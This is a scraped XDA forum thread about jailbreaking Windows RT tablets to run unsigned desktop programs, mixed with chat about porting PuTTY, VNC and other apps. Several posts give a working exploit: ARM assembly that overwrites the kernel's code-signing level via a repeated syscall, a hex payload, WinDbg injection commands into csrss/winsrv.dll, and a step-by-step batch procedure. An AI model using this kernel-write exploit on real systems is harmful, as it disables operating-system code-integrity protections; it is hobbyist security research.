yashsingh1/xdaforums huggingface dataset:
[Windows RT Development and Hacking] mamaich:
Yes, I mean that these strings are referenced in bitlocker modules, so the behavior may be unexpected.

By the way, as far as I see in policies - it is allowed to boot WinRT from VHD file located on the device (maybe on SD card?). So you can try to restore your recovery image into VHD, modify it, and then boot from it, without bothering that anything would be broken on the "real" partition (of cause if you would not trash the BCD).

By the way, after further reading the disasm - Kernel-CsChecksDisabled would give you nothing. But playing with SecureStartupFeature-Enabled-* may be worth trying.
[Windows RT Development and Hacking] netham45:
They could, but since we can reinstall the OS from the recovery partition and there'll always be a copy of the unpatched recovery partition around we can revert any patches they throw out.

They could also ban MS accounts for doing this too, though I don't expect them to do that.
[Windows RT Development and Hacking] mamaich:
Hmm, seems that there is already a working and very easy method that allows running unsigned apps on RT:

http://younsi.blogspot.ru/2012/10/notepad-for-windows-8-rt.html

Just create UMCIAuditMode=1 in "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\CI" and reboot.

Can someone confirm that it works? As far as I see - this really should work, as this sets in ci.dll the g_CiOptions|=0x40, that later sets g_CiDeveloperMode=6, which should allow unsigned apps in dir specified in "HKLM\System\CurrentControlSet\Control\CI\TRSData" "TestPath" key (see this post: http://xdaforums.com/showpost.php?p=33069395&postcount=10).

So all greetings for finding a working and easy "desktop-unlocking" method should go to Thomas Younsi

Edited:

As far as I see - this effectively turns on the "CI Audit" mode, that does not block unsigned apps from running, but just logs them. So adding a path to the "TestPath" should not be necessary.

And yes, this can be blocked by MS in later updates. But I really don't think that they would do that soon (or ever).
[Windows RT Development and Hacking] clrokr:
@mamaich:

I can confirm that it doesn't work :( That would have been a nice way to do it though, very easy and scriptable.
[Windows RT Development and Hacking] mamaich:
:(

But strange - I've decompiled ci.dll from a device dump, and see that it checks those registry keys. But his is THUMB, so I may have mislooked something.
[Windows RT Development and Hacking] netham45:
Nesting VNC windows is fun.

(Also, yes, I misspelled the name on my tablet.)

The main issue I had with recompiling, other than the libs, was the SxS manifests. I couldn't get them to work, so I just disabled them. Also, TightVNC has /machine:x86 set statically a few times in their configs, though that was easy enough to fix.

Also, here's PuTTY. I got fed up with winspool not working right so I just commented out all the calls to it, so printing may not (as in, won't) work right.
[Windows RT Development and Hacking] rheza02:
i can't confirm it, none of your app works,

"windows cannot verify the digital signature ..."
[Windows RT Development and Hacking] netham45:
Please read the past 3 or 4 pages of the thread. You have to do the exploit clrokr documented to get them to run.

Edit: Unless you were responding to mamaich, in which case ignore me.
[Windows RT Development and Hacking] Dewinter:
1) Get kernel base w/ app higher in post

2) Put base in the my_addr field in the source

3) armasm -o exploit.o exploit.asm

4) Taking the code starting at 0x64 (push r5) and putting it in Winsrv.dll!0x10800

5) Placing a breakpoint right after 'bl NtUserSetInformationThread (75475134h)' (Note that there are two calls to NtUserSetInformationThread, I've tried putting the break right after both)

6) Placing a breakpoint at mov r0,r0 at Winsrv.dll!0x10800

7) Resuming CSRSS

8) Hitting vol down

9) Moving PC to Winsrv.dll!0x10800

10) Resume, at this point I BSoD.

3) when armasm , i always get errors like D:\arm.s(1) : error A2034: unknown opcode: {

push {r5-r8}

can you pls share your source code？i'm not familiar with the arm assembly
[Windows RT Development and Hacking] lilstevie:
You need to indent all opcodes.
[Windows RT Development and Hacking] peterdn:
What problems did you have with winspool? Only issue I had (couldn't find it at runtime) was resolved by putting a copy of it named winspool.dll in PuTTY's working directory.
[Windows RT Development and Hacking] netham45:
Pretty much that, I wanted it to be standalone.
[Windows RT Development and Hacking] apatcas:
please please share this. I have looked high and low for something like putty but there's nothing but junk in the app store.
[Windows RT Development and Hacking] netham45:
push {r5-r8}
mov r7, 0x80000
ldr r8, my_addr
loc_loop_begin
movs r3, 0xC
add r2, sp, 0x68 ;0x58 org.
add r5, r2, 4
str r8, [r5]
movs r1, 9
mvn r0, 1
mov r12, 0x10E1
svc 1
subs r7, r7, 1
cmp r7, 0
bne loc_loop_begin
pop {r5-r8}
mov r0, r0
my_addr dcd 0x<Kernel Base + 0x19FFA4 + 0x18>
end

Fix the my_addr line with yours.

I posted a build of putty a couple posts ago.
[Windows RT Development and Hacking] rheza02:
Your discussion out of my league, i can't understand what you guys talking about. keep up the good work, thanks.
[Windows RT Development and Hacking] mamaich:
Now I see in the code - it calls ZwQuerySystemInformation(143,...) and checks those flags only if it returns error 0x80430006 (not implemented?) or returns success and some bit in result is set to 1 (probably that bit shows that we are using a "development device"). Or if kernel debugger is active. So no luck here. At least until we'll find the implementation of that ZwQuerySystemInformation(143) and force it to return error.

Damn thumb, x86/x64 is much simpler :(

Updated: 143 == SeSecureBootQueryInformation. Just to be indexed by google.

maybe switching off secure boot policy, as i've posted earlier, would help?
[Windows RT Development and Hacking] Dewinter:
thanks , it works
[Windows RT Development and Hacking] clrokr:
ZwQuerySystemInformation(143,...) leads to SeSecureBootQueryInformation...
[Windows RT Development and Hacking] windowsrtc:
Whats wrong with my steps?Please help

here is my step.I need help for my step6 .

1.get my_addr dcd

View attachment 1624951

my_addr dcd:0x8341d000+0x19ffa4+0x18=0x835bcfbc

2.change my_addr dcd in exploit.asm and compile it

loc_loop_begin

movs r3, 0xC

add r2, sp, 0x68 ;0x58 org.

add r5, r2, 4

str r8, [r5]

movs r1, 9

mvn r0, 1

mov r12, 0x10E1

svc 1

subs r7, r7, 1

cmp r7, 0

bne loc_loop_begin

pop {r5-r8}

mov r0, r0

my_addr dcd 0x0x835bcfbc

end

3.attach csrss.exe

4.find winsrv.dll base 0x74f00000

5.put code to 0x74f00000+0x10800=0x74f10800

6. "Placing a breakpoint right after 'bl NtUserSetInformationThread (75475134h)"

here is my question.I cant find bl NtUserSetInformationThread (75475134h)//How Can I find this address?

and I dont find these code:

TerminalServerRequestThread+0x230//How Can I find this address?

MOVS R3, #0xC

ADD R2, SP, #0x58

MOVS R1, #9

MOV R0, 0xFFFFFFFE

BL NtUserSetInfomationThread

so I find something like that:

and I set breakpoint at 0x74f03640

7.after press volume down,csrss.exe break at 0x74f03640 and I chang PC to 0x74f10800

8.press F11 and set breakpoint at 0x74f1082e

9.after resume I got BSoD

my step 6 mybe incorrect,so plesae help

btw Im using a Chinese version surface
[Windows RT Development and Hacking] peterdn:
The call to NtUserSetInformationThread that you want is at +0x365e from the base address, if I remember correctly. From your screenshot I see you are at +0x3640 from base, so, just scroll down a little and set your breakpoint immediately after the bl instruction.
[Windows RT Development and Hacking] netham45:
Make sure that you have symbols loading properly too, I had to go into options and enable the MS Symbol Server before I could get it to load symbols for me. Then you'll be able to find the function.

Also,

No networking, since that relies on winpcap, but everything else seems to be working well enough.
[Windows RT Development and Hacking] peterdn:
Awesome. I have XP installing on bochs as we speak. Also tried 2k but the installer triggered some FPU exception very shortly after boot.
[Windows RT Development and Hacking] clrokr:
Now this is pure awesomeness!
[Windows RT Development and Hacking] netham45:
I tried booting an ubuntu livecd on the surface, it seemed to be doing something, but after an hour or so I gave up.

Also, here's the .exe.

To get it to compile all I had to do was fix up some oddities that happened when I copied the win32 profiles to an ARM profile (a couple broken paths, re-enable DYNAMICBASE, add the .libs as dependencies, etc...)

Edit: Also, it seems only .net 4.5 apps are portable across architectures, I couldn't get anything older than 4.5 to even run on the ARM.
[Windows RT Development and Hacking] peterdn:
I played around very briefly with Mono last night by just copying my x86/64 install directly to the Surface. The C# compiler seemed to run though, which is encouraging. If it all works, would make a neat self-contained development environment.

I also intended to try out Microsoft's C# compiler but didn't get around to it. I believe the newer ones are written in C# itself, so they could also work.
[Windows RT Development and Hacking] windowsrtc:
STILL BSoD WITH SYMBLE ENABLED.GIVE UP
[Windows RT Development and Hacking] phailyoor:
This is awesome. Almost makes me want to grab myself a Windows RT slab. So, Classic shell anyone?
[Windows RT Development and Hacking] pujdo1:
how did you manage to run third party (arm-) programs on windows rt ? i thought you can only run and install apps from the microsoft store.

have you heard, that a security expert found a "jailbreak" for windows rt ?

http://www.extremetech.com/computing/144888-windows-rt-jailbroken-to-run-third-party-desktop-apps

but what i want to know is, for what can we use this jailbreak ? is there maybe a way to make not only temporary ?
[Windows RT Development and Hacking] x0n:
Actually yes, you can compile on Surface - The C# compiler is part of the image and is completely functional.
[Windows RT Development and Hacking] netham45:
The security expert is clrokr, and he posted it earlier in this thread.
[Windows RT Development and Hacking] djboo:
any chance of a step by step?

im a coder myself, would certainly contribute to the arm compiled code - but i just cant get my head round the hack - and chance someone who has done it could do a step by step?
[Windows RT Development and Hacking] iWannaBeAdored:
'Microsoft applauds Windows RT jailbreakers, hints at fix in future releases'

http://www.theverge.com/2013/1/7/3848146/microsoft-windows-rt-jailbreak-response [The Verge]
[Windows RT Development and Hacking] peterdn:
@netham45: don't suppose you could post up the 7zip binaries as well?
[Windows RT Development and Hacking] netham45:
I used the ones that Cotulla posted on his twitter. https://twitter.com/CotullaCode/status/287272393309827072

Mouse without Borders is pure .net 4.5, so it should run on the RT without recompiling. I'm just about to leave, so I didn't have a chance to get it working, but I believe you just need to install the service for it and run the helper (The MSI refuses to run on RT).
[Windows RT Development and Hacking] GoodDayToDie:
BTW, for anybody wondering why only .NET 4.5 apps (as opposed to older versions) will run on Windows RT, that was a decision by MS to reduce the install footprint, at least on x86. Win8 doesn't ship with the legacy framework versions either; they are installable, but don't install by default. On RT, I imagine MS saw no reason to port the old versions at all. After all, it's not like backward compatibility was a design concern (with the possible exception of cmd/powershell/WSH scripts, which already worked fine).
[Windows RT Development and Hacking] Mr. Argent:
This is definitely a interesting development -- RT is already remarkably like 8 Pro on my desktop, so it'll be great to see the gap be closed further! As most of the software i use is already open-source, perhaps my Surface RT will really become a miniaturized version of my desktop...
[Windows RT Development and Hacking] Prax:
So I know this hack isn't for everyone yet but I would love some step by step instructions, being able to run real putty, or 7zip on the system would be great. There any chance at getting a real version of flash that isn't locked out by ActiveX to run?
[Windows RT Development and Hacking] Dewinter:
where to get this gorgeous Win RT SDK?
[Windows RT Development and Hacking] netham45:
Got Mouse Without Borders (MS-Made Synergy-ish app) working.

Simple guide:

Install it on desktop

Copy the folder out of the program files to the tablet

Open admin command prompt on tablet

run sc create MouseWithoutBorders binpath="c:\Path\To\MouseWithoutBordersSvc.exe" (Fix the path)

Open services.msc, start the service you just created

It'll then prompt to set it up.
[Windows RT Development and Hacking] Dewinter:
void HookExport(HMODULE hMod,PDWORD pExportRva,DWORD RvaForJumpback,const void *pHookFunc)
{
PVOID pJumpbackPayload = (PBYTE)hMod+RvaForJumpback;

#ifdef _M_X64
BYTE payload[14];
// jmp dword/qword ptr [$]
payload[0] = 0xFF;
payload[1] = 0x25;
payload[2] = 0x0;
payload[3] = 0x0;
payload[4] = 0x0;
payload[5] = 0x0;
*(const void**)(payload+6) = pHookFunc;
#else
BYTE payload[5];
// jmp im32
payload[0] = 0xE9;
*(size_t*)(payload+1) = (PBYTE)pHookFunc-(PBYTE)pJumpbackPayload-5;
#endif

WriteWithUnprotect(pJumpbackPayload,payload,sizeof(payload));

MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(pJumpbackPayload,&mbi,sizeof(mbi)))
{
// enable execute if not enabled
if (!(mbi.Protect & 0xF0))
VirtualProtect(pJumpbackPayload,sizeof(payload),mbi.Protect & 0xFFFFFF00 | (mbi.Protect & 0xF)<<4,&mbi.Protect);
}

WriteWithUnprotectDword(pExportRva,RvaForJumpback);
}

how to implement a ARM version of this function？
[Windows RT Development and Hacking] mamaich:
I've finally got an ASUS VivoTab with 3G and a dock, so would join the tests. Tomorrow evening would try to make a KD connection over USB to WinDBG running on PC, this would help a lot. Lets hope that KD is not blocked on non-development devices.
[Windows RT Development and Hacking] netham45:
Debugging is blocked by an option blacklist in the bootloader.
[Windows RT Development and Hacking] advancedservers:
Hi I have written several .net apps for my company and would love to be able to run them on our MS Surface tablets.

Can you please give us a tutorial on how to run the exploit.

Many thanks

Ben
[Windows RT Development and Hacking] mamaich:
As I've expected :(

By the way, on a just bought device I see very interesting lines in CodeIntegrity log:

and the same text about some other DLLs and EXEs from the same dir (unfortunately there is no such dir now)

Does anyone knows what is that "due to system policy" about?

By the way, at first poweron in the shop I've booted directly into the sysprep audit mode (press CTRL+SHIFT+F3 at the initial customizations screen) without allowing asus customizations to run. So these lines may tell only that signing is off during sysprep.

If anyone would try to play with sysprep - an instruction on returning to "normal" mode from audit. Asus have made an invalid unattend.xml, so sysprep/audit complains and breaks (and boot loops forever). To exit that loop - don't press ok on error message, run task manager via ctrl+shift+esc, run cmd, then run "sysprep /oobe", it is located in system32\sysprep dir.
[Windows RT Development and Hacking] netham45:
I was able to get dbgsrv running on the tablet and connect to it from windbg on my desktop (windbg on the tablet refuses to connect, so does cdb), but I'm very unfamiliar with the CLI for it.

Edit: Figuring it out fast, this should be fairly straightforward to script in windbg on a remote computer.

Edit 2:

Got it working under windbg. Here's what I did:

1) Run getkernelbase to get the kernel base, put it in the form below

2)Start dbgsrv from the Arm WDK files linked somewhere earlier in this thread (dbgsrv -t tcp:port=1337)

3)Start windbg on the client

4)'Connect to Remote Stub under File'

5)tcp:server=<IP to tablet>,port=1337

6)Attach to Process

7)Choose the CSRSS under session 1

It'll dump module offsets, use them to fill out winsrv.

Fill this out to get all the offsets you'll need for windbg, then follow the script:

kernel:
SigningLevel(kernel+19FFBC):

winsrv:
code(winsrv+0x10800):
breakpoint1(winsrv+3662):
breakpoint2(code+2E):
payload:2D E9 E0 01 4F F4 00 27 DF F8 24 80 0C 23 1A AA 02 F1 04 05 C5 F8 00 80 09 21 6F F0 01 00 41 F2 E1 0C 01 DF 7F 1E 00 2F F0 D1 BD E8 E0 01 00 46 <SigningLevel REVERSE ENDIAN> 04 00 00 00 F1 00 00 00 64 00 00 00 24 00 01 11 00 00 00 00 43

And run this in windbg

e <code> <payload>
bp <bp1>
bp <bp2>
g
<Volume down>
r pc=<code>
g
r pc=<bp1>
bc 0
bc 1
.detach
q

I'll work on clarifying it tomorrow (and hopefully getting some of the network protocol flushed out), I'm off to bed.
[Windows RT Development and Hacking] xsoliman3:
I guess this article is yours ?

http://surfsec.wordpress.com/2013/01/06/circumventing-windows-rts-code-integrity-mechanism/
[Windows RT Development and Hacking] clrokr:
It is. I posted it two days ago.
[Windows RT Development and Hacking] wyvphone:
Two questions on the program to get the kernel address

First, how are people running the program? Is it with the "example" store app that generates a command prompt?

Second, is anyone else having problems with this line:

ntdllHandle = GetModuleHandle(L"ntdll");

VS2012 tosses this error: "Error	2	error C2664: 'GetModuleHandleA' : cannot convert parameter 1 from 'const wchar_t [6]' to 'LPCSTR'"

Removing the "L" lets it compile but the program just hangs when I execute it using the method I suggested above.
[Windows RT Development and Hacking] peterdn:
Yep

Try

ntdllHandle = GetModuleHandleW(L"ntdll");

EDIT: actually, it's probably hanging because the "example" app has been suspended to the background -- effectively pausing its child processes. If you snap the app side-by-side with the desktop, it should unpause again.
[Windows RT Development and Hacking] windowsrtc:
very good ,thank you.

I am able to compile ipmsg but I cant send message.
[Windows RT Development and Hacking] pujdo1:
will there be maybe in the future a way to make the exploit to run unsigned apps on desktop permanent ?

because at the moment you must do this thing everytime if you restart
[Windows RT Development and Hacking] clrokr:
Well guess what I may or may not be working on.
[Windows RT Development and Hacking] apatcas:
Anyway someone can write up a step by step for this? This is probably the biggest thing to hit the surface.

Thanks in advance
[Windows RT Development and Hacking] jumper62:
+1
[Windows RT Development and Hacking] netham45:
I just got the exploit running using only on-tablet programs, I should be able to bundle it into a nice little app where you just have to click one or two things.
[Windows RT Development and Hacking] diablos991:
This would be fantastic.
[Windows RT Development and Hacking] netham45:
Other than one bug I just tracked down I've got everything except getting the kernel base automated in a batch file + debugger.

Edit: Here's what I've got so far. To use:

1) Install the app in the top of THIS thread (Sorry, you'll have to compile it for now, I'm working on a clean app I can package, but it's not ready yet)

2) Copy the 'getKernelBase.exe' from the ZIP attached to this post to the folder it installs to (%userprofile%\appxlayouts\<appname>)

3) Run the app, click the button

4) Click OK on the prompt, type 'getKernelBase' into the command prompt. If it doesn't do anything, snap the app to the side of your screen.

5) Keep the 4 numbers it gives you

6) Open 'runExploit.bat' as an administrator

7) Put those 4 numbers in there, make sure you keep the spaces between them

8) Press enter

9) Press Volume Down

10) Press enter again

11) You should be jailbroken now.

And a writeup for what I'm doing for my hack:

It's mainly the same basic hack as clrokr, but I found a way that I could write process memory using cdb (but, I can't attach as a debugger, so I lose breakpoints)

I change winsrv.dll+0x3644 to redirect to winsrv.dll+0x10800

I inject this modified payload at winsrv.dll+0x10800:

push {r5-r8}
mov r7, 0x80000
ldr r8, my_addr
loc_loop_begin
movs r3, 0xC
add r2, sp, 0x68 ;0x58 org.
add r5, r2, 4
str r8, [r5]
movs r1, 9
mvn r0, 1
mov r12, 0x10E1
svc 1
subs r7, r7, 1
cmp r7, 0
bne loc_loop_begin
pop {r5-r8}
mov r7, r0
endloop
cmp r7,#0
b endloop
b -0xD1E6
my_addr dcd 0x<Kernel Base>
end

That then gets called when you press vol down. It hangs at the loop at the end so it doesn't execute the exploit twice (which would crash the tablet)

I then reset winsrv.dll+0x3644 back to default

Once it's default, I zero out 'b endloop', allowing it to progress to the b -0xD1E6 and resume execution

cdb -pvr <pid> attaches to <pid> in non-invasive mode, which grants the ability to see loaded modules and change ram but not debug (pause, resume, break, manage breakpoints, get debug events), since there's no debugger actually attaching. That's why it works on the ARM too.

And that's it.

Edit: I missed something, it's not working in the zip. I'll check it real fast.

More edit: I see what I did, fix in a couple minutes.

Even more edit: Should be fixed, the offset I had at the bottom of the payload was off by 0x6.

Super edit: Nope, something is still up. It works perfectly if the debugger is attached to csrss, but if not it crashes. =/

Super-duper edit: seems to work intermittently, I'm not 100% sure why it crashes some of the time, though.

Mega Edit: One of the offsets I'm using changes randomly between a few different possibilities, I'll see if I can come up with some way to generate the code for it.
[Windows RT Development and Hacking] windowsrtc:
4) Click OK on the prompt, type 'getKernelBase' into the command prompt. If it doesn't do anything, snap the app to the side of your screen.

5) Keep the 4 numbers it gives you

6) Open 'runExploit.bat' as an administrator

7) Put those 4 numbers in there, make sure you keep the spaces between them

8) Press enter

9) Press Volume Down

10) Press enter again

I think you can try a windows script to do these steps
[Windows RT Development and Hacking] netham45:
The first part has to be done in a metro app, it can't be really done by a script.
[Windows RT Development and Hacking] advancedservers:
I kepting getting BSOD's until I removed the @echo off from the runexploit.bat???

Doesn't make sense but it works..
[Windows RT Development and Hacking] netham45:
As I said, one of the offsets keeps changing, I'm trying to figure out how to detect that and fix for it. As is right now it's only got about a 30% chance of working.
[Windows RT Development and Hacking] advancedservers:
with the @echo off removed from the batch file, it seems to be working 100% of the time....

turns out no :(
[Windows RT Development and Hacking] netham45:
I can assure you that @echo off has no difference.
[Windows RT Development and Hacking] jumper62:
Microsoft will soon be fixing this so don't do updates

http://xdaforums.com/showthread.php?p=36440936
[Windows RT Development and Hacking] xsoliman3:
Nice finding about the cdb flags

I wonder if the fact that the remote debug tools agent and dbgsrv can debug processes is due to them being non-interactive ?
[Windows RT Development and Hacking] extreeme:
Thanks man, that realy works. I had to copy the getKernelBase.exe to C:\Program Files\WindowsApps\<appname> because there is no (%userprofile%\appxlayouts\<appname>) on my Surface RT, but everything worked with the first try and now I am running putty.